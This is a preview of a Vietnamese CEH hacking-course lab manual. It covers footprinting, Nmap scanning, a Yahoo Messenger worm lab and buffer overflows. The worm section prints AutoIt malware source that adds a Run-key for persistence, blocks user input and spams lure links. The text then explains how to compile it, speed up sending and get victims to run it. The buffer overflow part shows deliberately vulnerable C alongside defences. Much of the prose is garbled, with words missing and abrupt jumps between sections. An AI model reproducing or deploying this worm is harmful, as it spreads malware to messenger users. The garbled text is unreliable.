Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 125 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
125
Dung lượng
18,06 MB
Nội dung
Giáo trình tập C|EH Tài liệu dành cho học viên Mục Lục Bài 1: FOOTPRINTING I/ Giới thiệu Foot Print: II/ Các thực hành: Bài 1: Tìm thông tin Domain Bài 2: Tìm thông tin email Bài 2: SCANNING I/ Giới thiệu Scanning: II/ Các Bài thực hành Bài thực hành 1: Sử dụng Phần mềm Nmap Bài thực hành thứ 2: Sử dụng phần mềm Retina để phát vulnerabilities công Metaesploit framework 13 Bài 3: 18 SYSTEM HACKING 18 I/ Giới thiệu System Hacking: 18 II/ Thực hành Lab 18 Bài 1: Crack password nột nội 18 Bài 2: Sử dụng chương trình pwdump3v2 có user administrator máy nạn nhân để tìm thông tin user lại 20 Bài Lab 3: Nâng quyền thông qua chương trình Kaspersky Lab 23 Bài Lab 4: Sử dụng Keylogger 25 Bài Lab 5: Sử dụng Rootkit xóa Log file 27 Bài 4: 30 TROJAN BACKDOOR 30 I/ Giới thiệu Trojan Backdoor: 30 II/ Các thực hành: 30 Bài Sử dụng netcat: 30 Bài 2: Sử dụng Trojan Beast detect trojan 32 Muốn sử dụng Trojan Beast, ta cần phải xây dụng file Server cài lên máy nạn nhân, sau file server lắng nghe port cố định từ máy công ta connect vào máy nạn nhân thông qua cổng 32 Bài 3: Sử dụng Trojan dạng Webbase 35 Bài 5: 38 CÁC PHƯƠNG PHÁP SNIFFER 38 I/ Giới thiệu Sniffer 38 Bài 6: 65 Tấn Công từ chối dịch vụ DoS 65 I/ Giới thiệu: 65 II/ Mô tả lab: 67 Bài Lab 1: DoS cách sử dụng Ping of death 67 Bài lab 2: DoS giao thức không sử dụng chứng thực(trong sử dụng giao thức RIP) 69 Bài Lab 3: Sử dụng flash để DDoS 72 Bài 7: 74 Social Engineering 74 I/ Giới Thiệu 74 VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên II/ Các Lab: 74 Bài Lab 1: Gửi email nặc đính kèm Trojan 74 Bài 8: 77 Session Hijacking 77 I/ Giới thiệu: 77 II/ Thực Lab 77 Bài 9: 80 Hacking Web Server 80 I/ Giới thiệu: 80 II/ Thực Hiện lab 80 Bài Lab 1: Tấn công Web Server Win 2003(lỗi Apache) 80 Bài lab 2: Khai thác lỗi ứng dụng Server U 84 Bài 10: 85 WEB APPLICATION HACKING 85 I/ Giới thiệu: 85 II/ Các Bài Lab 85 Bài Lab 1: Cross Site Scripting 85 Bài Lab 2: Insufficient Data Validation 86 Bài Lab 3: Cookie Manipulation 88 Bài Lab 4: Authorization Failure 89 Bài 11: 91 SQL INJECTION 91 I/ Giới thiệu SQL Injection: 91 II/ Thực Hành Bài Lab 94 Bài 12: 101 WIRELESS HACKING 101 I/ Giới Thiệu 101 II/ Thực hành Lab: 101 Bài 13: 105 VIRUS 105 I/ Giới thiệu: (tham khảo đọc thêm) 105 II/ Thực hành Lab: 105 Bài 1: Virus phá hủy liệu máy 105 Bài 2: Virus gaixinh lây qua tin nhắn 107 Bài 14: 111 BUFFER OVERFLOW 111 I/ Lý thuyết 111 II/ Thực hành: 118 VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Bài 1: FOOTPRINTING I/ Giới thiệu Foot Print: Đây kỹ thuật giúp hacker tìm kiếm thông tin doanh nghiệp, cá nhân hay tổ chức Bạn điều tra nhiều thông tin mục tiêu nhờ vào kỹ thuật Ví dụ phần thực hành thứ áp dụng kỹ thuật tìm kiếm thông tin domain(ví dụ www.itvietnam.com) xem thử email liên lạc domain ai, phần thực hành thứ truy tìm danh sách email keywork cho trước, phương pháp hiệu cho doanh nghiệp muốn sử dụng marketing thông qua hình thức email v.v Trong giai doạn Hacker cố gắng tìm nhiều thông tin doanh nghiệp(thông qua kênh internet phone) cá nhân(thông qua email hoạt động cá nhân Internet), thực tốt bước Hacker xác định nên công vào điểm yếu Ví dụ muốn công domain www.itvietnam.com Hacker phải biết địa email chủ cùa domain tìm cách lấy password email thông qua công mail Server hay sniffer mạng nội v.v Và cuối lấy Domain thông qua email chủ II/ Các thực hành: Bài 1: Tìm thông tin Domain Ta vào trang www.whois.net để tìm kiếm thông tin đánh vào domain muốn tìm kiếm thông tin Sau ta nhận thông tin sau: VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Registrar Name : BlueHost.Com Registrar Whois : whois.bluehost.com Registrar Homepage: http://www.bluehost.com/ Domain Name: ITVIETNAM.COM Created on : 1999-11-23 11:31:30 GMT Expires on : 2009-11-23 00:00:00 GMT Last modified on : 2007-07-30 03:15:11 GMT Registrant Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax : Email: jkow@itvietnam.com Last modified: 2007-03-23 04:12:24 GMT Administrative Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax : Email: jkow@itvietnam.com Last modified: 2007-03-23 04:12:24 GMT Technical Info: (FAST-12785240) Attn: itvietnam.com C/O BlueHost.Com Domain Privacy 1215 North Research Way Suite #Q 3500 Orem, Utah 84097 United States Phone: +1.8017659400 Fax : +1.8017651992 Email: whois@bluehost.com VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Last modified: 2007-04-05 16:50:56 GMT Status: Locked Ngoài việc tìm thông tin domain trên, sử dụng tiện ích Reverse IP domain lookup để xem thử IP có host chung với Vào link sau để sử dụng tiện ích http://www.domaintools.com/reverse-ip/ Việc tìm kiếm thông tin cần thiết với Hacker, dựa vào thông tin sử dụng chung Server này, Hacker thông qua Website bị lỗi danh sách công vào Server từ kiểm soát tất Website hosting Server Bài 2: Tìm thông tin email Trong thực hành này, sử dụng phần mềm “1st email address spider” để tìm kiếm thông tin email Hacker sử dụng phần mềm để thu thập thêm thông tin mail, hay lọc đối tượng email khác nhau, nhiên bạn sử dụng tool để thu thập thêm thông tin nhằm mục đích marketing, ví dụ bạn cần tìm thông tin email có đuôi @vnn.vn hay @hcm.vnn.vn để phục cho việc marketing sản phẩm Ta cấu hình việc sử dụng trang web để lấy thông tin, sử dụng trang google.com để tìm kiếm VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Sau đánh từ khóa vnn.vn vào tag keyword Sau có list mail nhờ sử dụng trương trình VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Bài 2: SCANNING I/ Giới thiệu Scanning: Scanning hay gọi quét mạng bước thiếu trình công vào hệ thống mạng hacker Nếu làm bước tốt Hacker mau chóng phát lỗi hệ thống ví dụ lỗi RPC Window hay lỗi phầm mềm dịch vụ web Apache v.v Và từ lỗi này, hacker sử dụng đoạn mã độc hại(từ trang web) để công vào hệ thống, tồi tệ lấy shell Phần mềm scanning có nhiều loại, gồm phầm mềm thương mại Retina, GFI, phần mềm miễn phí Nmap,Nessus Thông thường ấn thương mại update bug lỗi từ internet dò tìm lỗi Các phần mềm scanning giúp người quản trị tìm lỗi hệ thống, đồng thời đưa giải pháp để sửa lỗi update Service patch hay sử dụng policy hợp lý II/ Các Bài thực hành Bài thực hành 1: Sử dụng Phần mềm Nmap Trước thực hành này, học viên nên tham khảo lại giáo trình lý thuyết option nmap Chúng ta sử dụng phần mềm CD CEH v5, hay download từ website: www.insecure.org Phần mềm nmap có phiên dành cho Win dành cho Linux, thực hành Nmap, sử dụng dành cho Window Để thực hành này, học viên nên sử dụng Vmware boot từ nhiều hệ điều hành khác Win XP sp2, Win 2003 sp1, Linux Fedora Core, Win 2000 sp4,v.v Trước tiên sử dụng Nmap để thám thử xem subnet có host up port host mở, ta sử dụng lệnh Nmap –h để xem lại option Nmap, sau thực lệnh “Nmap –sS 10.100.100.1-20” Và sau kết sau: C:\Documents and Settings\anhhao>nmap -sS 10.100.100.1-20 Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:27 Pacific Standard Time Interesting ports on 10.100.100.1: Not shown: 1695 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:09:ED:10 (VMware) Interesting ports on 10.100.100.6: Not shown: 1678 closed ports PORT STATE SERVICE VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên 7/tcp open echo 9/tcp open discard 13/tcp open daytime 17/tcp open qotd 19/tcp open chargen 23/tcp open telnet 42/tcp open nameserver 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1030/tcp open iad1 2105/tcp open eklogin 3389/tcp open ms-term-serv 8080/tcp open http-proxy MAC Address: 00:0C:29:59:97:A2 (VMware) Interesting ports on 10.100.100.7: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:95:A9:03 (VMware) Interesting ports on 10.100.100.11: Not shown: 1695 filtered ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:A6:2E:31 (VMware) Skipping SYN Stealth Scan against 10.100.100.13 because Windows does not support scanning your own machine (localhost) this way All scanned ports on 10.100.100.13 are VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Interesting ports on 10.100.100.16: Not shown: 1689 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1433/tcp open ms-sql-s MAC Address: 00:0C:29:D6:73:6D (VMware) Interesting ports on 10.100.100.20: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 445/tcp open microsoft-ds 1000/tcp open cadlock 5101/tcp open admdog MAC Address: 00:15:C5:65:E3:85 (Dell) Nmap finished: 20 IP addresses (7 hosts up) scanned in 21.515 seconds Trong mạng có tất host, máy Vmware PC DELL Bây bước ta tìm kiếm thông tin OS Host sử dụng lệnh “ Nmap –v -O ip address” C:\Documents and Settings\anhhao>nmap -vv -O 10.100.100.7 (xem chi tiết Nmap quét) Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:46 Pacific Standard Time Initiating ARP Ping Scan at 10:46 Scanning 10.100.100.7 [1 port] Completed ARP Ping Scan at 10:46, 0.22s elapsed (1 total hosts) Initiating Parallel DNS resolution of host at 10:46 Completed Parallel DNS resolution of host at 10:46, 0.01s elapsed Initiating SYN Stealth Scan at 10:46 Scanning 10.100.100.7 [1697 ports] Discovered open port 1025/tcp on 10.100.100.7 Discovered open port 445/tcp on 10.100.100.7 Discovered open port 135/tcp on 10.100.100.7 Discovered open port 139/tcp on 10.100.100.7 VSIC Education Corporation Trang www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website) RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "Dao Khuc Community:: Chut gi de nho ") ; Danh Sach Tin Nhan Ngau Nhien Dim $tin[10] $tin[0] = "Nguoi di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang " & $website & " " $tin[1] = "Ngay khong em anh day lam cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang " & $website & " " $tin[2] = "Om bau dau thuong, minh anh co don chon day Ngay mai em di, chon giau bao ky niem " & $website & " " $tin[3] = "Dem mua ngoai hien, mua oi dung roi them cho xot xa Anh khong quay ve day, loi nao anh noi da quen " & $website & " " $tin[4] = "Ngay mai thoi doi ta lia xa em nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao " & $website & " " $tin[5] = "Tra lai em niem vui duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay Gio day chi la nhung ky niem buon " & $website & "" $tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi cuon phim buon Nguoi da den nhu la giac mo roi di cho anh bat ngo " & $website & " " $tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi " & $website & " " $tin[8] = "Khoc cho nho thuong voi long, khoc cho noi sau nhe nhu khong Bao nhieu yeu thuong nhung qua da tan theo khoi may bay that xa " & $website & " " $tin[9] = "Toi di lang thang lan bong toi buot gia, ve dau da mat em roi? Ve dau bao nhieu mo mong gio da vo tan Ve dau toi biet di ve dau? " & $website & " " ; Ham Thay Doi Status & Gui Tin Nhan While (1) sleep(60000) $tieude = WinGetTitle("Yahoo! Messenger", "") $kiemtra = WinExists ($tieude) If $kiemtra = Then $ngaunhien = Random(0,9,1) ClipPut($tin[$ngaunhien]) BlockInput (1) WinActivate($tieude) Send("!m") Send("un") VSIC Education Corporation Trang 108 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Send("^v {ENTER}{ENTER}") Send("^m") Send("{DOWN}") Send("^{SHIFTDOWN}{END}{SHIFTUP}") Send("{ENTER}") Send("^v {ENTER}") BlockInput (0) EndIf Sleep(1800000) WEnd ; -; ; -Dựa vào đoạn code này, ta edit lại theo ý mình, sau sử dụng tool AutoIT để chuyển script sang file.exe thực thi Sau chạy file exe login vào Yahoo để kiểm tra, ta thấy tin nhắn gởi nhiều, set tham số sleep bé (khoảng 3000) lưu lượng gởi nhanh nhiều VSIC Education Corporation Trang 109 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Để lây qua tin nhắn, phải đính kèm virus vào website, hay cách để máy nạn nhân chạy file exe vừa tạo VSIC Education Corporation Trang 110 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Bài 14: BUFFER OVERFLOW I/ Lý thuyết Trong lĩnh vực an ninh máy tính lập trình, lỗi tràn nhớ đệm hay gọi tắt lỗi tràn đệm lỗi lập trình gây ngoại lệ truy nhập nhớ máy tính chương trình bị kết thúc, người dùng có ý phá hoại, họ lợi dụng lỗi để phá vỡ an ninh hệ thống Lỗi tràn đệm điều kiện bất thường tiến trình lưu liệu vượt biên nhớ đệm có chiều dài cố định Kết liệu đè lên vị trí nhớ liền kề Dữ liệu bị ghi đè bao gồm nhớ đệm khác, biến liệu điều khiển luồng chạy chương trình (program flow control) Các lỗi tràn đệm làm cho tiến trình đổ vỡ cho kết sai Các lỗi kích hoạt liệu vào thiết kế đặc biệt để thực thi đoạn mã phá hoại để làm cho chương trình hoạt động cách không mong đợi Bằng cách đó, lỗi tràn đệm gây nhiều lỗ hổng bảo mật (vulnerability) phần mềm tạo sở cho nhiều thủ thuật khai thác (exploit) Việc kiểm tra biên (bounds checking) đầy đủ lập trình viên trình biên dịch ngăn chặn lỗi tràn đệm Mô tả kỹ thuật Một lỗi tràn nhớ đệm xảy liệu viết vào nhớ đệm, mà không kiểm tra biên đầy đủ nên ghi đè lên vùng nhớ liền kề làm hỏng giá trị liệu địa nhớ kề với vùng nhớ đệm Hiện tượng hay xảy chép xâu ký tự từ nhớ đệm sang vùng nhớ đệm khác Ví dụ Trong ví dụ sau, chương trình định nghĩa hai phần tử liệu kề nhớ: A nhớ đệm xâu ký tự dài bytes, B số nguyên kích thước byte Ban đầu, A chứa toàn byte giá trị 0, B chứa giá trị Các ký tự có kích thước byte Bây giờ, chương trình ghi xâu ký tự "excessive" vào đệm A, theo sau byte để đánh dấu kết thúc xâu Vì không kiểm tra độ dài xâu, nên xâu ký tự đè lên giá trị B: VSIC Education Corporation Trang 111 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Tuy lập trình viên ý định sửa đổi B, giá trị B bị thay số tạo nên từ phần cuối xâu ký tự Trong ví dụ này, hệ thống big-endian sử dụng mã ASCII, ký tự "e" byte trở thành số 25856 Nếu B phần tử liệu lại số biến chương trình định nghĩa, việc viết xâu ký tự dài vượt phần cuối B gây lỗi chẳng hạn segmentation fault (lỗi phân đoạn) tiến trình kết thúc Tràn nhớ đệm stack Bên cạch việc sửa đổi biến không liên quan, tượng tràn đệm thường bị lợi dụng (khai thác) tin tặc để làm cho chương trình chạy thực thi đoạn mã tùy ý cung cấp Các kỹ thuật để tin tặc chiếm quyền điều khiển tiến trình tùy theo vùng nhớ mà đệm đặt Ví dụ, vùng nhớ stack, nơi liệu tạm thời "đẩy" xuống "đỉnh" ngăn xếp (push), sau "nhấc ra" (pop) để đọc giá trị biến Thông thường, hàm (function) bắt đầu thực thi, phần tử liệu tạm thời (các biến địa phương) đẩy vào, chương trình truy nhập đến liệu suốt thời gian chạy hàm Không có tượng tràn stack (stack overflow) mà có tràn heap (heap overflow) Trong ví dụ sau, "X" liệu nằm stack chương trình bắt đầu thực thi; sau chương trình gọi hàm "Y", hàm đòi hỏi lượng nhỏ nhớ cho riêng mình; sau "Y" gọi hàm "Z", "Z" đòi hỏi nhớ đệm lớn: Nếu hàm "Z" gây tràn nhớ đệm, ghi đè liệu thuộc hàm Y hay chươngtrình chính: Điều đặc biệt nghiêm trọng hầu hết hệ thống Ngoài liệu thường, nhớ stack lưu giữ địa trả về, nghĩa vị trí phần chương trình chạy trước hàm gọi Khi hàm kết thúc, vùng nhớ tạm thời lấy khỏi stack, thực thi trao lại cho địa trả Như vậy, địa trả bị ghi đè lỗi tràn đệm, trỏ tới vị trí khác Trong trường hợp tượng tràn đệm chủ ý ví dụ đầu tiên, chắn vị trí vị trí không hợp lệ, không chứa lệnh chương trình, tiến trình đổ vỡ Tuy nhiên, kẻ công chỉnh địa trả để trỏ tới vị trí tùy ý cho làm tổn hại an hinh hệ thống Mã nguồn ví dụ Mã nguồn C thể lỗi lập trình thường gặp Sau biên dịch, chương VSIC Education Corporation Trang 112 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên trình tạo lỗi tràn đệm gọi với tham số dòng lệnh xâu ký tự dài, tham số dùng để ghi vào nhớ đệm mà không kiểm tra độ dài ************ /* overflow.c - demonstrates a buffer overflow */ #include #include int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; } ************ Các xâu ký tự độ dài không không gây tràn đệm Các xâu ký tự gồm từ 10 ký tự trở lên gây tràn đệm: tượng luôn lỗi sai lúc gây việc chương trình chạy sai hay gây lỗi segmentation faults Chương trình viết lại cho an toàn cách sử dụng hàm strncpy sau: ******** /* better.c - demonstrates one method of fixing the problem */ VSIC Education Corporation Trang 113 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên #include #include int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "USAGE: %s string\n", argv[0]); return 1; } strncpy(buffer, argv[1], sizeof(buffer)); buffer[sizeof(buffer) - 1] = '\0'; return 0; } ******* Khai thác Có kỹ thuật khác cho việc khai thác lỗi tràn nhớ đệm, tùy theo kiến trúc máy tính, hệ điều hành vùng nhớ Ví dụ, khai thác heap (dùng cho biến cấp phát động) khác với việc khai thác biến stack Khai thác lỗi tràn đệm stack Một người dùng thạo kỹ thuật có ý đồ xấu khai thác lỗi tràn đệm stack để thao túng chương trình theo cách sau: Ghi đè biến địa phương nằm gần nhớ đệm stack để thay đổi hành vi chương trình nhằm tạo thuận lợi cho kẻ công Ghi đè địa trả khung stack (stack frame) Khi hàm trả về, thực thi VSIC Education Corporation Trang 114 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên tiếp tục địa mà kẻ công rõ, thường đệm chứa liệu vào người dùng Nếu địa phần liệu người dùng cung cấp, biết địa lưu ghi, ghi đè lên địa trả giá trị địa opcode mà opcode có tác dụng làm cho thực thi nhảy đến phần liệu người dùng Cụ thể, địa đoạn mã độc hại muốn chạy ghi ghi R, lệnh nhảy đến vị trí chứa opcode cho lệnh jump R, call R (hay lệnh tương tự với hiệu ứng nhảy đến địa chi ghi R) làm cho đoạn mã phần liệu người dùng thực thi Có thể tìm thấy địa opcode hay byte thích hợp nhớ thư viện liên kết động (DLL) hay file thực thi Tuy nhiên, địa opcode thường không chứa ký tự null (hay byte 0) nào, địa opcode khác tùy theo ứng dụng phiên hệ điều hành.Dự án Metapoloit sở liệu chứa opcode thích hợp, liệt kê opcode hệ điều hành Microsoft Windows Khai thác lỗi tràn đệm heap Một tượng tràn đệm xảy khu vực liệu heap gọi tượng tràn heap khai thác kỹ thuật khác với lỗi tràn stack Bộ nhớ heap cấp phát động ứng dụng thời gian chạy thường chứa liệu chương trình Việc khai thác thực cách phá liệu theo cách đặc biệt để làm cho ứng dụng ghi đè lên cấu trúc liệu nội chẳng hạn trỏ danh sách liên kết Lỗ hổng Microsoft JPG GDI+là ví dụ gần nguy hiểm mà lỗi tràn heap Cản trở thủ thuật khai thác Việc xử lý đệm trước đọc hay thực thi làm thất bại cố gắng khai thác lỗi tràn đệm Các xử lý giảm bớt mối đe dọa việc khai thác lỗi, không ngăn chặn cách tuyệt đối Việc xử lý bao gồm: chuyển từ chữ hoa thành chữ thường, loại bỏ ký tự đặt biệt (metacharacters) lọc xâu không chứa ký tự chữ số chữ Tuy nhiên, có kỹ thuật để tránh việc lọc xử lý này; alphanumeric code (mã gồm toàn chữ số), polymorphic code (mã đa hình), Self-modifying code (mã tự sửa đổi) công kiểu return-to-libc Cũng phương pháp dùng để tránh bị phát hệ thống phát thâm nhập (Intrusion detection system) Chống tràn đệm Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm sử dụng để phát ngăn chặn tượng tràn đệm Cách đáng tin cậy để tránh ngăn chặn tràn đệm sử dụng bảo vệ tự động mức ngôn ngữ lập trình Tuy nhiên, loại bảo vệ áp dụng cho mã thừa kế (legacy code), nhiều ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng ngôn ngữ không an toàn Các mục sau mô tả lựa chọn cài đặt có Lựa chọn ngôn ngữ lập trình VSIC Education Corporation Trang 115 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Lựa chọn ngôn ngữ lập trình có ảnh hưởng lớn xuất lỗi tràn đệm Năm 2006, C C++ nằm số ngôn ngữ lập trình thông dụng nhất, với lượng khổng lồ phần mềm viết hai ngôn ngữ C C++ không cung cấp sẵn chế chống lại việc truy nhập ghi đè liệu lên phần nhớ thông qua trỏ bất hợp lệ; cụ thể, hai ngôn ngữ không kiểm tra xem liệu ghi vào mảng cài đặt nhớ đệm) có nằm biên mảng hay không Tuy nhiên, cần lưu ý thư viện chuẩn C++, thử viện khuôn mẫu chuẩn - STL, cung cấp nhiều cách an toàn để lưu trữ liệu đệm, lập trình viên C tạo sử dụng tiện ích tương tự Cũng tính khác C hay C++, lập trình viên phải tự xác định lựa chọn xem họ có muốn chấp nhận hạn chế tốc độ chương trình để thu lại lợi ích tiềm (độ an toàn chương trình) hay không Một số biến thể C, chẳng hạn Cyclone, giúp ngăn chặn lỗi tràn đệm việc chẳng hạn gắn thông tin kích thước mảng với mảng Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng trỏ kiểm tra biên người dùng xác định Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra thời gian chạy, việc kiểm tra gửi cảnh báo ngoại lệ C C++ ghi đè liệu Ví dụ ngôn ngữ đa dạng, từ pythol tới Ada, từ Lisp tới Modula-2, từ Smalltalk tới OCaml Các môi trường bytecode Java NET đòi hỏi kiểm tra biên tất mảng Gần tất ngôn ngữ thông dịch bảo vệ chương trình trước tượng tràn đệm cách thông báo trạng thái lỗi định rõ (well-defined error) Thông thường, ngôn ngữ cung cấp đủ thông tin kiểu để thực kiểm tra biên, ngôn ngữ thường cho phép lựa chọn kích hoạt hay tắt chế độ Việc phân tích tĩnh (static analysis) loại nhiều kiểm tra kiểu biên động, cài đặt tồi trường hợp rối rắm giảm đáng kể hiệu Các kỹ sư phần mềm phải cẩn thận cân nhắc phí tổn cho an toàn hiệu định sử dụng ngôn ngữ cấu cho trình biên dịch Sử dụng thư viện an toàn Vấn đề tràn đệm thường gặp C C++ ngôn ngữ để lộ chi tiết biểu diễn mức thấp nhớ đệm với vai trò chỗ chứa cho kiểu liệu Do đó, phải tránh tràn đệm cách gìn giữ tính đắn cao cho phần mã chương trình thực việc quản lý đệm Việc sử dụng thư viện viết tốt kiểm thử, dành cho kiểu liệu trừu tượng mà thư viện thực tự động việc quản lý nhớ, có kiểm tra biên, làm giảm xuất ảnh hưởng tượng tràn đệm Trong ngôn ngữ này, xâu ký tự mảng hai kiểu liệu mà tượng tràn đệm thường xảy ra; đó, thư viện ngăn chặn lỗi tràn đệm kiểu liệu cung cấp phần che chắn cần thiết Dù vậy, việc sử dụng thư viện an toàn cách không dẫn đến tràn đệm số lỗ hổng khác; tất nhiên, lỗi thư viện lỗ hổng Các cài đặt thư viện "an toàn" gồm The Better String Library, Arri Buffer API Vstr Thư viện C VSIC Education Corporation Trang 116 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên hệ điều hành OpenBSD cung cấp hàm hữu ích strlcpy strlcat hàm nhiều hạn chế nhiều so với cài đặt thư viện an toàn đầy đủ Tháng năm 2006, Báo cáo kỹ thuật số 24731 hội đồng tiêu chuẩn C công bố; báo cáo mô tả tập hàm dựa hàm vào liệu hàm xử lý xâu ký tự thư viện C chuẩn, hàm bổ sung tham số kích thước đệm Chống tràn nhớ đệm stack Stack-smashing protection kỹ thuật dùng để phát hiện tượng tràn đệm phổ biến Kỹ thuật kiểm tra xem stack bị sửa đổi hay chưa hàm trả Nếu stack bị sửa đổ, chương trình kết thúc lỗi segmentation fault Các hệ thống sử dụng kỹ thuật gồm có Libsafe, StackGuard vá lỗi (patch) Propolicy Chế độ Data Execution Prevention (cấm thực thi liệu) Microsoft bảo vệ thẳng trỏ tới SEH Exception Handler, không cho chúng bị ghi đè Có thể bảo vệ stack cách phân tách stack thành hai phần, phần dành cho liệu phần cho bước trả hàm Sự phân chia dùng ngôn ngữ lập trình Forth, định thiết kế dựa theo tiêu chí an toàn Nhưng dù giải pháp hoàn chỉnh vấn đề tràn đệm, liệu nhạy cảm địa trả bị ghi đè Bảo vệ không gian thực thi Bảo vệ không gian thực thi cách tiếp cận việc chống tràn đệm Kỹ thuật ngăn chặn việc thực thi mã stack hay heap Một kẻ công sử dụng tràn đệm để chèn đoạn mã tùy ý vào nhớ chương trình, với bảo vệ không gian thực thi, cố gắng chạy đoạn mã gây ngoại lệ (exception) Một số CPU hỗ trợ tính có tên bit NX ("No eXecute" - "Không thực thi") bit XD ("eXecute Disabled" - "chế độ thực thi bị tắt" ) Khi kết hợp với phần mềm, tính dùng để đánh dấu trang liệu (chẳng hạn trang chứa stack heap) đọc không thực thi Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính bảo vệ không gian thực thi Một số gói phần mềm tùy chọn bao gồm: PaX Exec Shield Openwall VSIC Education Corporation Trang 117 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên Các biến thể Microsoft Windows hỗ trợ bảo vệ không gian thực thi, với tên gọi Data Execution Prevention (ngăn chặn thực thi liệu) Các phần mềm gắn kèm (Add-on) bao gồm: SecureStack OverflowGuard BufferShield StackDefender Phương pháp bảo vệ không gian thực thi không chống lại công return-to-libc Ngẫu nhiên hóa sơ đồ không gian địa Ngẫu nhiên hóa sơ đồ không gian địa (Address space layout randomization - ASLR) tính an ninh máy tính có liên quan đến việc xếp vị trí vùng liệu quan trọng (thường bao gồm nơi chứa mã thực thi vị trí thư viện, heap stack) cách ngẫu nhiên không gian địa tiến trình Việc ngẫu nhiên hóa địa nhớ ảo mà hàm biến nằm làm cho việc khai thác lỗi tràn đệm trở nên khó khăn hơn, phải Nó buộc kẻ công phải điều chỉnh khai thác cho hợp với hệ thống cụ thể, điều làm thất bại cố gắng Sâu internet Một phương pháp tương tự hiệu hơn, kỹ thuật rebase tiến trình thư viện không gian địa ảo Kiểm tra sâu gói tin Biện pháp kiểm tra sâu gói tin (deep packet inspection - DPI) phát cố gắng từ xa để khai thác lỗi tràn đệm từ biên giới mạng Các kỹ thuật có khả chặn gói tin có chứa chữ ký vụ công biết chứa chuỗi dài lệnh No-Operation (NOP - lệnh rỗng không làm gì), chuỗi thường sử dụng vị trí nội dung quan trọng (payload) công có biến đổi Việc rà gói tin phương pháp hiệu ngăn chặn công biết, có nhiều cách để mã hóa lệnh NOP Các kẻ công sử dụng mã alphanumeric, metamorphic, Shellcode tự sửa để tránh bị phát việc rà gói tin II/ Thực hành: Ta khởi động hệ điều hành Linux dĩa CD, sau soạn đoạn code có nội dung sau: VSIC Education Corporation Trang 118 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên #include main() { char *name; char *dangerous_system_command; name = (char *) malloc(10); dangerous_system_command = (char *) malloc(128); printf("Address of name is %d\n", name); printf("Address of command is %d\n", dangerous_system_command); sprintf(dangerous_system_command, "echo %s", "Hello world!"); printf("What's your name?"); gets(name); system(dangerous_system_command); } Lưu đoạn sau thành file text biên dịch gcc root@1[Desktop]# gcc buffer.c 